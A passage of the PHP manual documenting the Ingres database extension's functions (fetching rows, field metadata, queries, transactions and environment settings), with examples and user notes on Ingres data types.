Subsequent calls to ingres_fetch_row() return the next row in the result set, or FALSE if there are no more rows.

By default, arrays created by ingres_fetch_row() start from position 1 and not 0 as with other DBMS extensions. The starting position can be adjusted to 0 using the configuration parameter ingres.array_index_start.

Note: Related Configurations

See also the ingres.array_index_start, ingres.fetch_buffer_size and ingres.utf8 directives in Runtime Configuration.

Parameters

result

The query result identifier

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows

Examples

Example #1 Fetch a row of result into an enumerated array

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link, "select * from table");
while ($row = ingres_fetch_row($result)) {
    echo $row[1];
    echo $row[2];
}
?>

See Also

  • ingres_num_fields() - Get the number of fields returned by the last query
  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object

User Contributed Notes

There are no user contributed notes for this page.
ingres_fetch_proc_return
ingres_field_length
Ingres Functions


Get the length of a field

ingres_fetch_row
ingres_field_name
Ingres Functions
PHP Manual

ingres_field_length

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_field_length — Get the length of a field

Description

int ingres_field_length ( resource $result , int $index )

ingres_field_length() returns the length of a field. This is the number of bytes the server uses to store the field. For detailed information, see the Ingres OpenAPI User Guide, Appendix "Data Types" in the Ingres documentation.

Note: Related Configurations

See ingres.array_index_start in Runtime Configuration

Parameters

result

The query result identifier

index

index is the column number whose length will be retrieved.

The possible values of index depend upon the value of ingres.array_index_start. If ingres.array_index_start is 1 (the default) then index must be between 1 and the value returned by ingres_num_fields(). If ingres.array_index_start is 0 then index must be between 0 and ingres_num_fields() - 1.

Return Values

Returns the length of a field.

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.
ingres_fetch_row
ingres_field_name
Ingres Functions


Get the name of a field in a query result

ingres_field_length
ingres_field_nullable
Ingres Functions
PHP Manual

ingres_field_name

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_field_name — Get the name of a field in a query result

Description

string ingres_field_name ( resource $result , int $index )

ingres_field_name() returns the name of a field in a query result.

Note: Related Configurations

See ingres.array_index_start in Runtime Configuration

Parameters

result

The query result identifier

index

index is the field whose name will be retrieved.

The possible values of index depend upon the value of ingres.array_index_start. If ingres.array_index_start is 1 (the default) then index must be between 1 and the value returned by ingres_num_fields(). If ingres.array_index_start is 0 then index must be between 0 and ingres_num_fields() - 1.

Return Values

Returns the name of a field in a query result or FALSE on failure

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.
ingres_field_length
ingres_field_nullable
Ingres Functions


Test if a field is nullable

ingres_field_name
ingres_field_precision
Ingres Functions
PHP Manual

ingres_field_nullable

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_field_nullable — Test if a field is nullable

Description

bool ingres_field_nullable ( resource $result , int $index )

Test if a field is nullable.

Note: Related Configurations

See ingres.array_index_start in Runtime Configuration

Parameters

result

The query result identifier

index

index is the field whose nullability will be retrieved.

The possible values of index depend upon the value of ingres.array_index_start. If ingres.array_index_start is 1 (the default) then index must be between 1 and the value returned by ingres_num_fields(). If ingres.array_index_start is 0 then index must be between 0 and ingres_num_fields() - 1.

Return Values

ingres_field_nullable() returns TRUE if the field can be set to the NULL value and FALSE if it cannot

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.
ingres_field_name
ingres_field_precision
Ingres Functions


Get the precision of a field

ingres_field_nullable
ingres_field_scale
Ingres Functions
PHP Manual

ingres_field_precision

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_field_precision — Get the precision of a field

Description

int ingres_field_precision ( resource $result , int $index )

ingres_field_precision() returns the precision of a field. This value is used only for decimal, float, and money SQL data types. For detailed information, see the Ingres OpenAPI User Guide, Appendix "Data Types" in the Ingres documentation.

Note: Related Configurations

See ingres.array_index_start in Runtime Configuration

Parameters

result

The query result identifier

index

index is the field whose precision will be retrieved.

The possible values of index depend upon the value of ingres.array_index_start. If ingres.array_index_start is 1 (the default) then index must be between 1 and the value returned by ingres_num_fields(). If ingres.array_index_start is 0 then index must be between 0 and ingres_num_fields() - 1.

Return Values

Returns the field precision as an integer

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.
ingres_field_nullable
ingres_field_scale
Ingres Functions


Get the scale of a field

ingres_field_precision
ingres_field_type
Ingres Functions
PHP Manual

ingres_field_scale

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_field_scale — Get the scale of a field

Description

int ingres_field_scale ( resource $result , int $index )

ingres_field_scale() returns the scale of a field. This value is used only for the decimal SQL data type. For detailed information, see the Ingres OpenAPI User Guide, Appendix "Data Types" in the Ingres documentation.

Note: Related Configurations

See ingres.array_index_start in Runtime Configuration

Parameters

result

The query result identifier

index

index is the field whose scale will be retrieved.

The possible values of index depend upon the value of ingres.array_index_start. If ingres.array_index_start is 1 (the default) then index must be between 1 and the value returned by ingres_num_fields(). If ingres.array_index_start is 0 then index must be between 0 and ingres_num_fields() - 1.

Return Values

Returns the scale of the field, as an integer

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.
ingres_field_precision
ingres_field_type
Ingres Functions


Get the type of a field in a query result

ingres_field_scale
ingres_free_result
Ingres Functions
PHP Manual

ingres_field_type

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_field_type — Get the type of a field in a query result

Description

string ingres_field_type ( resource $result , int $index )

Get the type of a field in a query result.

Note: Related Configurations

See ingres.array_index_start in Runtime Configuration

Parameters

result

The query result identifier

index

index is the field whose type will be retrieved.

The possible values of index depend upon the value of ingres.array_index_start. If ingres.array_index_start is 1 (the default) then index must be between 1 and the value returned by ingres_num_fields(). If ingres.array_index_start is 0 then index must be between 0 and ingres_num_fields() - 1.

Return Values

ingres_field_type() returns the type of a field in a query result or FALSE on failure. Examples of types returned are IIAPI_BYTE_TYPE, IIAPI_CHA_TYPE, IIAPI_DTE_TYPE, IIAPI_FLT_TYPE, IIAPI_INT_TYPE, IIAPI_VCH_TYPE. Some of these types can map to more than one SQL type depending on the length of the field (see ingres_field_length()). For example IIAPI_FLT_TYPE can be a float4 or a float8. For detailed information, see the Ingres OpenAPI User Guide, Appendix "Data Types" in the Ingres documentation.

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

burckhardtCUTMEOUT at gsf dot de 26-Mar-2002 04:11
I have to apologise for the previous two long postings, but information referring to the INGRES data types is a bit hard to find, so I want to share it. Below is my translation script for INGRES->MySQL data types.

<?
 // Fieldtype Translator  INGRES => MySQL (c) F.Burckhardt
 // translates string, int, date; might be incomplete with respect to other INGRES data-types
 $sql="SELECT * FROM table";
 $conn = ingres_connect ($database, $user, $password);
 $results = ingres_query($sql,$conn);
 $fieldtype = array ( "key" => "val");
 $ingres_translation = array( "IIAPI_VCH_TYPE" => "string",
                              "IIAPI_CHA_TYPE" => "string",
                              "IIAPI_INT_TYPE" => "int",
                              "IIAPI_DTE_TYPE" => "date");
 for($i=1; $i<ingres_num_fields($conn)+1; $i++) {
   $fieldtype [ingres_field_name($i,$conn)] = $ingres_translation[ingres_field_type($i,$conn)];
   echo ("field_name (".ingres_field_name($i,$conn).") field_type (INGRES): ".ingres_field_type($i,$conn)." => fieldtype (MySQL)".$ingres_translation[ingres_field_type($i,$conn)]." <br>");
        }
 ?>
burckhardtCUTMEOUT at gsf dot de 26-Mar-2002 04:08
IIAPI_LOGKEY_TYPE A data type with values that are unique within the data source. An application should not attempt to update a column containing a system-maintained object key.

IIAPI_LBYTE_TYPE A variable-length binary string. The actual length of the large byte segment is stored in the first two bytes of the data buffer, followed by the large byte data. Length: 0 to 2,000,000,000 characters.

IIAPI_LVCH_TYPE A variable-length character string. The actual length of the large varchar segment is stored in the first two bytes of the data buffer, followed by the large varchar data. Valid characters for this data type include printing, non-printing, and NULL characters. Trailing blanks are insignificant in a varchar data type. Length: 0 to 2,000,000,000 characters.

IIAPI_MNY_TYPE The Ingres money data type stored in 8 bytes with 2 fixed decimal places.  IIAPI_convertData() or  IIAPI_formatData() can be used to convert to character string or floating point representation.

IIAPI_TABKEY_TYPE A data type with a value that is unique within the table where the table key is stored. An application should not attempt to update a column containing a systemmaintained table key.

IIAPI_TXT_TYPE A variable-length character string. The maximum size for this data type is stored as the ds_length parameter in the corresponding descriptor. The actual length of the text data is stored in the first two bytes of the data buffer, followed by the text data. Valid characters for this data type include printing and non-printing characters. All blanks are significant in a text data buffer. This type is supported for previous Ingres versions; when possible, use  IIAPI_VCH_TYPE. Length: 1 to 2,000 characters.

IIAPI_VBYTE_TYPE A variable-length binary string. The maximum size for varbyte data is stored as the ds_length parameter in the corresponding descriptor. The actual length of the varbyte data is stored in the first two bytes of the data buffer, followed by the varbyte data. Length: 0 to 2,000 characters.

IIAPI_VCH_TYPE A variable-length character string. The maximum size for varchar data is stored as the ds_length parameter in the corresponding descriptor. The actual length of the varchar data is stored in the first two bytes of the data buffer, followed by the varchar data. Trailing blanks are insignificant in a varchar data type. Length: 0 to 2,000 characters.
burckhardtCUTMEOUT at gsf dot de 26-Mar-2002 04:08
Ingres Data Types (oapi.pdf open api user guide)
Data Type Descriptions Ingres data types are described in the following table:
 Data Type Description
IIAPI_BYTE_TYPE A fixed length binary string containing data with the declared length. The declared length is stored as the ds_length parameter in the corresponding data descriptor. Length: 1 to 2,000 characters.

IIAPI_CHA_TYPE A fixed length character string that is stored blankpadded to the declared length. The declared length is stored as the ds_length parameter in the corresponding data descriptor. Embedded blanks are significant. Valid characters for this data type include printing, nonprinting, and NULL characters. Length: 1 to 2,000 characters.

IIAPI_CHR_TYPE A fixed length character string that is stored blankpadded to the declared length. The declared length is stored as the ds_length parameter in the corresponding data descriptor. Embedded blanks are insignificant. Valid characters for this data type include printing characters only. This data type is supported for previous Ingres versions; when possible, use IIAPI_CHA_TYPE. Length: 1 to 2,000 characters.

IIAPI_HNDL_TYPE A data type used only by OpenAPI and the application. This data type describes a handle, which is a pointer to one of the control blocks created by OpenAPI. OpenAPI translates the information in the control block into data acceptable by the data source. This data type does not appear in queries.

IIAPI_DEC_TYPE A packed decimal data type stored in 1 to 16 bytes depending on the precision of the value as follows: len = (precision)/2 + 1. IIAPI_convertData() or  IIAPI_formatData() may be used to convert to character string or floating point representation.

IIAPI_DTE_TYPE Ingres internal date data type that is stored in 12 bytes. IIAPI_convertData() or IIAPI_formatData() may be used to convert to character string or floating point representation.

IIAPI_FLT_TYPE A data type supporting data value ranges from - 1.0e+38 to +1.0e+38.

IIAPI_INT_TYPE A data type supporting varying data value ranges. It is dependent on the ds_length of the data value. If the length is 1, the range is from -128 to +127. If the length is 2, the range is from -32,768 to +32,767. If the length is 4, the range is from -2,147,483,648 to +2,147,483,647.
ingres_field_scale
ingres_free_result
Ingres Functions


Free the resources associated with a result identifier

ingres_field_type
ingres_next_error
Ingres Functions
PHP Manual

ingres_free_result

(PECL ingres >= 2.0.0)

ingres_free_result — Free the resources associated with a result identifier

Description

bool ingres_free_result ( resource $result )

Parameters

result

The query result identifier

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Free a result resource

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link, "select * from table");

while ($row = ingres_fetch_row($result)) {
    echo $row[1];
    echo $row[2];
}
ingres_free_result($result);

ingres_close($link)

?>

See Also

  • ingres_query() - Send an SQL query to Ingres

User Contributed Notes

There are no user contributed notes for this page.
ingres_field_type
ingres_next_error
Ingres Functions


Get the next Ingres error

ingres_free_result
ingres_num_fields
Ingres Functions
PHP Manual

ingres_next_error

(PECL ingres >= 2.0.0)

ingres_next_error — Get the next Ingres error

Description

bool ingres_next_error ([ resource $link ] )

Get the next Ingres error for the last executed query. Each call to ingres_next_error() can be followed by a call to ingres_errno(), ingres_error() or ingres_errsqlstate() to get the respective error number, error text, or SQL STATE. While ingres_next_error() returns TRUE, there are more errors to fetch.

Parameters

link

The connection link identifier

Return Values

ingres_next_error() returns TRUE if there is another error to retrieve or FALSE when there are no more errors

See Also

  • ingres_errno() - Get the last Ingres error number generated
  • ingres_error() - Get a meaningful error message for the last error generated
  • ingres_errsqlstate() - Get the last SQLSTATE error code generated

User Contributed Notes

There are no user contributed notes for this page.
ingres_free_result
ingres_num_fields
Ingres Functions


Get the number of fields returned by the last query

ingres_next_error
ingres_num_rows
Ingres Functions
PHP Manual

ingres_num_fields

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_num_fields — Get the number of fields returned by the last query

Description

int ingres_num_fields ( resource $result )

ingres_num_fields() returns the number of fields in the results returned by the Ingres server after a call to ingres_query().

Parameters

result

The query result identifier

Return Values

Returns the number of fields

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.
ingres_next_error
ingres_num_rows
Ingres Functions


Get the number of rows affected or returned by a query

ingres_num_fields
ingres_pconnect
Ingres Functions
PHP Manual

ingres_num_rows

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_num_rows — Get the number of rows affected or returned by a query

Description

int ingres_num_rows ( resource $result )

This function primarily is meant to get the number of rows modified in the database. However, it can be used to retrieve the number of rows to fetch for a SELECT statement.

Note:

If scrollable cursors are disabled and this function is called before using ingres_fetch_array(), ingres_fetch_object(), or ingres_fetch_row(), the server will delete the result's data and the script will be unable to get them.

Instead, you should retrieve the result's data using one of these fetch functions in a loop until it returns FALSE, indicating that no more results are available.

Parameters

result

The result identifier for a query

Return Values

For delete, insert, or update queries, ingres_num_rows() returns the number of rows affected by the query. For other queries, ingres_num_rows() returns the number of rows in the query's result.

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.
ingres_num_fields
ingres_pconnect
Ingres Functions


Open a persistent connection to an Ingres database

ingres_num_rows
ingres_prepare
Ingres Functions
PHP Manual

ingres_pconnect

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_pconnect — Open a persistent connection to an Ingres database

Description

resource ingres_pconnect ([ string $database [, string $username [, string $password [, array $options ]]]] )

Open a persistent connection to an Ingres database.

There are only two differences between this function and ingres_connect(): First, when connecting, the function will initially try to find a (persistent) link that is already opened with the same parameters. If one is found, an identifier for it will be returned instead of opening a new connection. Second, the connection to the Ingres server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (ingres_close() will not close links established by ingres_pconnect()). This type of link is therefore called "persistent".

Parameters

database

The database name. Must follow the syntax:

[vnode::]dbname[/svr_class]

username

The Ingres user name

password

The password associated with username

options

See ingres_connect() for the list of options that can be passed

Return Values

Returns an Ingres link resource on success or FALSE on failure

See Also

  • ingres_connect() - Open a connection to an Ingres database
  • ingres_close() - Close an Ingres database connection

User Contributed Notes

There are no user contributed notes for this page.
ingres_num_rows
ingres_prepare
Ingres Functions


Prepare a query for later execution

ingres_pconnect
ingres_query
Ingres Functions
PHP Manual

ingres_prepare

(PECL ingres >= 1.1.0)

ingres_prepare — Prepare a query for later execution

Description

mixed ingres_prepare ( resource $link , string $query )

Prepares a query for execution by ingres_execute().

The query becomes part of the currently open transaction. If there is no open transaction, ingres_query() opens a new transaction. To close the transaction, you can call either ingres_commit() to commit the changes made to the database or ingres_rollback() to cancel these changes. When the script ends, any open transaction is rolled back (by calling ingres_rollback()). You can also use ingres_autocommit() before opening a new transaction to have every SQL query immediately committed.

Note: Related Configurations

See also the ingres.describe, ingres.scrollable and ingres.utf8 directives in Runtime Configuration.

Parameters

link

The connection link identifier

query

A valid SQL query (see the Ingres SQL reference guide) in the Ingres documentation. See the query parameter in ingres_query() for a list of SQL statements which cannot be executed using ingres_prepare()

Return Values

ingres_prepare() returns a query result identifier that
is used with ingres_execute() to execute the query. To see
if an error occurred, use ingres_errno(),
ingres_error(), or
ingres_errsqlstate().

See Also

  • ingres_unbuffered_query() - Send an unbuffered SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array
  • ingres_commit() - Commit a transaction
  • ingres_rollback() - Roll back a transaction
  • ingres_autocommit() - Switch autocommit on or off
  • ingres_set_environment() - Set environment features controlling output options
  • ingres_errno() - Get the last Ingres error number generated
  • ingres_error() - Get a meaningful error message for the last error generated

User Contributed Notes

There are no user contributed notes for this page.
ingres_pconnect
ingres_query
Ingres Functions


Send an SQL query to Ingres

ingres_prepare
ingres_result_seek
Ingres Functions
PHP Manual

ingres_query

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_query — Send an SQL query to Ingres

Description

mixed ingres_query ( resource $link , string $query [, array $params [, string $types ]] )

ingres_query() sends the given query to the Ingres server.

The query becomes part of the currently open transaction. If there is no open transaction, ingres_query() opens a new transaction. To close the transaction, you can call either ingres_commit() to commit the changes made to the database or ingres_rollback() to cancel these changes. When the script ends, any open transaction is rolled back (by calling ingres_rollback()). You can also use ingres_autocommit() before opening a new transaction to have every SQL query immediately committed.

Note: Related Configurations

See also the ingres.describe, ingres.scrollable and ingres.utf8 directives in Runtime Configuration

Parameters

link

The connection link identifier.

query

A valid SQL query (see the Ingres SQL reference guide) in the Ingres documentation.

Data inside the query should be properly escaped.

The following types of SQL queries cannot be sent with this function:

  • close (see ingres_close())
  • commit (see ingres_commit())
  • connect (see ingres_connect())
  • disconnect (see ingres_close())
  • get dbevent
  • prepare to commit
  • rollback (see ingres_rollback())
  • savepoint
  • set autocommit (see ingres_autocommit())
  • all cursor-related queries are unsupported

params

An array of parameter values to be used with the query

types

A string containing a sequence of types for the parameter values passed. When ingres.describe is enabled, this parameter can be ignored as the driver automatically fetches the expected parameter types from the server.

Type code | Ingres type
a | BOOLEAN
b | BYTE
B | LONG BYTE/BLOB
c | CHAR
d | DATE/ANSIDATE/TIMESTAMP/TIME
f | FLOAT
i | INTEGER
L | LONG TEXT
m | MONEY
M | LONG NVARCHAR
n | NCHAR
N | NVARCHAR
t | TEXT
v | VARCHAR
V | LONG VARCHAR

Return Values

ingres_query() returns a query result identifier on
success else it returns FALSE. To see if an error
occurred use ingres_errno(),
ingres_error() or
ingres_errsqlstate().

Examples

Example #1 Send a simple select

<?php
$link = ingres_connect("demodb");

$result = ingres_query($link, "select * from user_profile");
while ($row = ingres_fetch_row($result)) {
    echo $row[1];
    echo $row[2];
}
?>

Example #2 Passing query parameters to ingres_query()

<?php
$link = ingres_connect("demodb");

$params[] = "Emma";
$query = "select * from user_profile where up_first = ?";
$result = ingres_query($link, $query, $params);
while ($row = ingres_fetch_row($result)) {
    echo $row[1];
    echo $row[2];
}
?>

Example #3 Inserting a BLOB with parameter types

<?php
$link = ingres_connect("demodb");

//Open a photo
$fh = fopen("photo.jpg","r");
$blob_data = stream_get_contents($fh);
fclose($fh);

//Prepare parameters
$params[] = $blob_data;
$params[] = 1201;

//Define parameter types
$param_types = "Bi";

$query = "update user_profile set up_image = ? where up_id = ?";
$result = ingres_query($link, $query , $params, $param_types);

if (ingres_errno())
{
    echo ingres_errno() . "-" . ingres_error() . "\n";
}

ingres_commit($link);

ingres_close($link);
?>

See Also

  • ingres_unbuffered_query() - Send an unbuffered SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array
  • ingres_commit() - Commit a transaction
  • ingres_rollback() - Roll back a transaction
  • ingres_autocommit() - Switch autocommit on or off
  • ingres_set_environment() - Set environment features controlling output options
  • ingres_errno() - Get the last Ingres error number generated
  • ingres_error() - Get a meaningful error message for the last error generated

User Contributed Notes

daryl dot monge at ingres dot com 03-Jun-2011 11:38
If you reuse a query result variable, you should free that variable to close off the previous query before running a second.

I.E.

$rc = ingres_query($conn, ...
// do stuff
unset($rc);
ingres_prepare
ingres_result_seek
Ingres Functions


Set the row position before fetching data

ingres_query
ingres_rollback
Ingres Functions
PHP Manual

ingres_result_seek

(PECL ingres >= 2.1.0)

ingres_result_seek — Set the row position before fetching data

Description

bool ingres_result_seek ( resource $result , int $position )

This function is used to position the cursor associated with the result resource before issuing a fetch. If ingres.array_index_start is set to 0 then the first row is 0 else it is 1. ingres_result_seek() can be used only with queries that make use of scrollable cursors. It cannot be used with ingres_unbuffered_query().

Note: Related Configurations

See also the ingres.scrollable and ingres.array_index_start directives in Runtime Configuration.

Parameters

result

The result identifier for a query

position

The row to position the cursor on. If ingres.array_index_start is set to 0, then the first row is 0, else it is 1

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Position the cursor on the 3rd row

<?php

$result=ingres_query($link, "select * from airport where ap_ccode = 'ES' order by ap_place asc");

/* goto row 3 */
if (!ingres_result_seek($result, 3))
{
    echo ingres_errno() . " - " . ingres_error . "\n";
    die("i died");
}
else
{
    $airport = ingres_fetch_object ($result);
    {
        echo $airport->ap_iatacode . " - " .  $airport->ap_name . "\n";
    }
}

ingres_commit($link);

?>

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.
ingres_query
ingres_rollback
Ingres Functions


Roll back a transaction

ingres_result_seek
ingres_set_environment
Ingres Functions
PHP Manual

ingres_rollback

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_rollback — Roll back a transaction

Description

bool ingres_rollback ( resource $link )

ingres_rollback() rolls back the currently open transaction, actually cancelling all changes made to the database during the transaction.

This closes the transaction. A new transaction can be opened by sending a query with ingres_query().

Parameters

link

The connection link identifier

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_commit() - Commit a transaction
  • ingres_autocommit() - Switch autocommit on or off

User Contributed Notes

There are no user contributed notes for this page.
ingres_result_seek
ingres_set_environment
Ingres Functions


Set environment features controlling output options

ingres_rollback
ingres_unbuffered_query
Ingres Functions
PHP Manual

ingres_set_environment

(PECL ingres >= 1.2.0)

ingres_set_environment — Set environment features controlling output options

Description

bool ingres_set_environment ( resource $link , array $options )

ingres_set_environment() is called to set environmental options that affect the output of certain values from Ingres, such as the timezone, date format, decimal character separator, and float precision.

Parameters

link

The connection link identifier

options

An enumerated array of option name/value pairs. The following table lists the option name and the expected type

Option name | Option type | Description | Example
date_century_boundary | integer | The threshold by which a 2-digit year is determined to be in the current century or in the next century. Equivalent to II_DATE_CENTURY_BOUNDARY | 50
timezone | string | Controls the timezone of the session. If not set, it will default the value defined by II_TIMEZONE_NAME. If II_TIMEZONE_NAME is not defined, NA-PACIFIC (GMT-8 with Daylight Savings) is used. | UNITED-KINGDOM
date_format integer

Sets the allowable input and output format for Ingres dates. Defaults to the value defined by II_DATE_FORMAT. If II_DATE_FORMAT is not set, the default date format is US, for example mm/dd/yy. Valid values for date_format are:

  • INGRES_DATE_DMY
  • INGRES_DATE_FINISH
  • INGRES_DATE_GERMAN
  • INGRES_DATE_ISO
  • INGRES_DATE_ISO4
  • INGRES_DATE_MDY
  • INGRES_DATE_MULTINATIONAL
  • INGRES_DATE_MULTINATIONAL4
  • INGRES_DATE_YMD
  • INGRES_DATE_US

 INGRES_DATE_ISO4
decimal_separator string The character identifier for decimal data ","
money_lort integer

Leading or trailing currency sign. Valid values for money_lort are:

  • INGRES_MONEY_LEADING
  • INGRES_MONEY_TRAILING

 INGRES_MONEY_LEADING
money_sign string The currency symbol to be used with the MONEY datatype €
money_precision | integer | The precision of the MONEY datatype | 2
float4_precision | integer | Precision of the FLOAT4 datatype | 10
float8_precision | integer | Precision of the FLOAT8 data | 10
blob_segment_length | integer | The amount of data in bytes to fetch at a time when retrieving BLOB or CLOB data. Defaults to 4096 bytes when not set explicitly | 8192

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Set date_format to ISO4

<?php
$options = array( "date_format" => INGRES_DATE_ISO4 );

if (ingres_set_environment($link, $options))
{
    $result=ingres_query($link,"select date('now') as date");

    while ( $object = ingres_fetch_object ($result) ) {
        echo $object->date."\n";
    }
}
?>

Example #2 Set timezone to HONG-KONG

<?php

$options = array( "timezone" => "HONG-KONG");

if (ingres_set_environment($link, $options))
{
    $result=ingres_query($link,"select date('now') as date");

    while ( $object = ingres_fetch_object ($result) ) {
        echo $object->date."\n";
    }
}
?>

See Also

  • ingres_connect() - Open a connection to an Ingres database
  • ingres_query() - Send an SQL query to Ingres

User Contributed Notes

There are no user contributed notes for this page.
ingres_rollback
ingres_unbuffered_query
Ingres Functions


Send an unbuffered SQL query to Ingres

ingres_set_environment
MaxDB
Ingres Functions
PHP Manual

ingres_unbuffered_query

(No version information available, might only be in SVN)

ingres_unbuffered_query — Send an unbuffered SQL query to Ingres

Description

mixed ingres_unbuffered_query ( resource $link , string $query [, array $params [, string $types ]] )

ingres_unbuffered_query() sends the given query to the Ingres server.

The query becomes part of the currently open transaction. If there is no open transaction, ingres_unbuffered_query() opens a new transaction. To close the transaction, you can call either ingres_commit() to commit the changes made to the database or ingres_rollback() to cancel these changes. When the script ends, any open transaction is rolled back (by calling ingres_rollback()). You can also use ingres_autocommit() before opening a new transaction to have every SQL query immediately committed. Ingres allows only a single unbuffered statement to be active at any one time. The extension will close any active unbuffered statements before executing any SQL. In addition you cannot use ingres_result_seek() to position the row before fetching.

Note: Related Configurations

See also the ingres.describe and ingres.utf8 directives in Runtime Configuration.

Parameters

link

The connection link identifier

query

A valid SQL query (see the Ingres SQL reference guide) in the Ingres documentation. See the query parameter in ingres_query() for a list of SQL statements that cannot be executed via ingres_unbuffered_query().

Data inside the query should be properly escaped.

params

An array of parameter values to be used with the query

types

A string containing a sequence of types for the parameter values passed. See the types parameter in ingres_query() for the list of type codes.

Return Values

ingres_unbuffered_query() returns a query result identifier when there are rows to fetch; else it returns FALSE when there are no rows, as is the case of an INSERT, UPDATE, or DELETE statement. To see if an error occurred, use ingres_errno(), ingres_error(), or ingres_errsqlstate().

Examples

Example #1 Issue a simple un-buffered select

<?php
$link = ingres_connect("demodb");

$result = ingres_unbuffered_query($link, "select * from user_profile");
while ($row = ingres_fetch_row($result)) {
    echo $row[1];
    echo $row[2];
}
?>

Example #2 Passing query parameters to ingres_unbuffered_query()

<?php
$link = ingres_connect("demodb");

$params[] = "Emma";
$query = "select * from user_profile where up_first = ?";
$result = ingres_unbuffered_query($link, $query, $params);
while ($row = ingres_fetch_row($result)) {
    echo $row[1];
    echo $row[2];
}
?>

Example #3 Inserting a BLOB with parameter types

<?php
$link = ingres_connect("demodb");

//Open a photo
$fh = fopen("photo.jpg","r");
$blob_data = stream_get_contents($fh);
fclose($fh);

//Prepare parameters
$params[] = $blob_data;
$params[] = 1201;

//Define parameter types
$param_types = "Bi";

$query = "update user_profile set up_image = ? where up_id = ?";
$result = ingres_unbuffered_query($link, $query , $params, $param_types);

if (ingres_errno())
{
    echo ingres_errno() . "-" . ingres_error() . "\n";
}
?>

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array
  • ingres_commit() - Commit a transaction
  • ingres_rollback() - Roll back a transaction
